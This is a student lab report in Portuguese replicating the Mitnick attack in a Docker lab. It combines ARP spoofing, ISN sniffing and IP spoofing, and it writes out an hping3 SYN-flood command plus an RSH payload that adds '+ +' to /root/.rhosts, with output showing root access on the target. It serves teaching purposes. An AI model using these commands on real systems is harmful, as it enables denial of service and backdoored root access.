



Nome: Yvens Ian Prado Porto
RA: 184031

1 Introdução

O presente relatório descreve os passos práticos e técnicos executados para a replicação do Ataque de Mitnick no contexto do Trabalho 03 da disciplina MC833. Ao contrário do cenário original explorado por Kevin Mitnick, onde o Número de Sequência Inicial (ISN) do protocolo TCP era previsível, as pilhas de rede modernas geram esses números de forma randômica. Dessa forma, o ataque foi adaptado para um ambiente de Rede Local (LAN) containerizado via Docker, combinando técnicas de manipulação de cache ARP (*ARP Spoofing*), interceptação de pacotes (*Sniffing*) e falsificação de IP (*IP Spoofing*) para estabelecer uma conexão não autenticada e abrir uma porta dos fundos (*backdoor*) na máquina alvo.

2 Preparação e Silenciamento do Servidor Confiável (DoS)

Para que o ataque de *IP Spoofing* tenha sucesso, a máquina alvo (*xTerminal* - 10.0.2.20) precisa acreditar que está se comunicando com o Servidor Confiável (10.0.2.30). Ao forjarmos o pacote de requisição *SYN*, o Alvo enviará sua resposta (*SYN+ACK*) para o IP do Servidor Confiável. Se este servidor estiver ativo, ele não reconhecerá a abertura da conexão e enviará um pacote de *Reset* (*RST*), abortando o ataque.

Para evitar esse cenário, iniciamos o ataque realizando uma Negação de Serviço (*DoS*) contra o Servidor Confiável. Utilizando a ferramenta *hping3* a partir da máquina do Atacante (10.0.2.10), executamos um *SYN Flood* na porta 514, exaurindo os recursos de processamento do servidor e incapacitando-o de enviar pacotes *RST*.

```
yvens@pop-os:~/Documents/MC833/Trabalho03$ sudo docker cp ./mitnick/. attacker:/app
Successfully copied 4.61kB to attacker:/app
yvens@pop-os:~/Documents/MC833/Trabalho03$ sudo docker exec -it attacker bash
(root@aba79a3023f5) - [/app]
# hping3 -S -p 514 --flood 10.0.2.30
HPING 10.0.2.30 (eth0 10.0.2.30): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
```

Figure 1: Execução do ataque de SYN Flood utilizando *hping3* para silenciar o Servidor Confiável (DoS).

3 Execução do Ataque: Obtenção do ISN e Injeção

Com o servidor legítimo fora do ar, iniciamos a execução do roteiro principal do ataque, desenvolvido em Python utilizando a biblioteca *Scapy* para a construção e leitura *raw* dos pacotes na rede.

3.1 Obtenção do Número de Sequência Inicial (ISN)

Como as máquinas operam em uma topologia de rede local moderna (comportando-se como um *switch* virtual), o tráfego legítimo entre o Alvo e o Servidor não passaria nativamente pela interface do Atacante. Para conseguirmos ler o ISN gerado aleatoriamente, foi fundamental a implementação do **ARP Spoofing**.

O script injetou um pacote *ARP Request* em *broadcast* informando à rede que o endereço IP do Servidor Confiável (10.0.2.30) agora correspondia ao endereço MAC físico da máquina do Atacante. Ao envenenarmos a tabela ARP do Alvo, garantimos que qualquer resposta destinada ao Servidor fosse enviada diretamente para a nossa interface.

Em seguida, disparamos o pacote *TCP SYN* forjado e ativamos um *Sniffer* assíncrono. Ao receber a requisição de conexão, o Alvo respondeu com o *SYN+ACK*. Devido ao envenenamento ARP anterior, este pacote foi entregue ao Atacante, permitindo ao *Sniffer* capturá-lo e extrair dinamicamente o *Sequence Number* gerado.

3.2 Conclusão do Handshake, Payload RSH e Validação

De posse do ISN dinâmico da sessão, o script forjou e enviou unilateralmente o último estágio do *Three-Way Handshake*: um pacote *TCP ACK* com o *Acknowledgment Number* configurado corretamente (*ISN* + 1).

Imediatamente após estabelecer a conexão, despachamos um pacote *TCP PUSH* contendo o protocolo de aplicação RSH malicioso: `0\x00root\x00root\x00echo + + >> /root/.rhosts\x00`. A utilização do byte inicial 0 instruiu o *daemon* RSH a não tentar estabelecer uma conexão secundária de erro via porta *stderr*. Esse comando inseriu a regra de permissão universal (+ +) no arquivo de controle de acesso do alvo.

Conforme demonstrado na Figura 2, após a conclusão do script, a validação foi realizada com sucesso. Com o arquivo `/root/.rhosts` manipulado, as restrições de confiança do RSH foram subvertidas, garantindo acesso de superusuário contínuo e irrestrito sem a necessidade de autenticação.

```
yvens@pop-os:~/Documents/MC833/Trabalho03$ sudo docker exec -it attacker bash
(root@aba79a3023f5) - [/app]
# python3 ataque.py
[*] 0. Envenenando o cache ARP do Alvo (ARP Spoofing)...
[*] Iniciando o Sniffer na rede...
[*] 1. Enviando pacote SYN forjado (spoofing)...
[*] 2. SYN+ACK capturado! O ISN do Alvo é: 4096925782
[*] 3. Enviando ACK para completar o Handshake...
[*] 4. Enviando payload para abrir o Backdoor via RSH...
[*] Ataque finalizado! O backdoor deve estar aberto.

(root@aba79a3023f5) - [/app]
# rsh -l root 10.0.2.20 id
uid=0(root) gid=0(root) groups=0(root)

(root@aba79a3023f5) - [/app]
# rsh -l root 10.0.2.20 cat /root/.rhosts
10.0.2.30 root
+ +

(root@aba79a3023f5) - [/app]
# rsh -l root 10.0.2.20 uname -a
Linux 0472e5c5832e 6.18.7-76061807-generic #202601231045~1769703228~24.04~cb87b5b SMP PREEMPT_DYNAMIC Thu J x
86_64 x86_64 x86_64 GNU/Linux

(root@aba79a3023f5) - [/app]
# rsh -l root 10.0.2.20 whoami
root
```

Figure 2: Execução do script em Scapy realizando ARP Spoofing e captura do ISN dinâmico, seguida da comprovação de injeção e acesso irrestrito na máquina alvo.

4 Declaração de Uso de Inteligência Artificial

Declaro o uso de ferramentas de Inteligência Artificial Generativa como assistentes educacionais para o desenvolvimento desta atividade laboratorial. O auxílio concentrou-se na análise da sintaxe da biblioteca *Scapy* para a forja dos pacotes TCP/IP, na depuração (*troubleshooting*) do comportamento do sistema operacional frente ao envenenamento de tabelas ARP, e na revisão e formatação em $\text{\LaTeX}$ deste documento técnico. A elaboração das táticas, a execução do ambiente virtualizado e as comprovações práticas de intrusão foram processadas de modo estritamente autoral.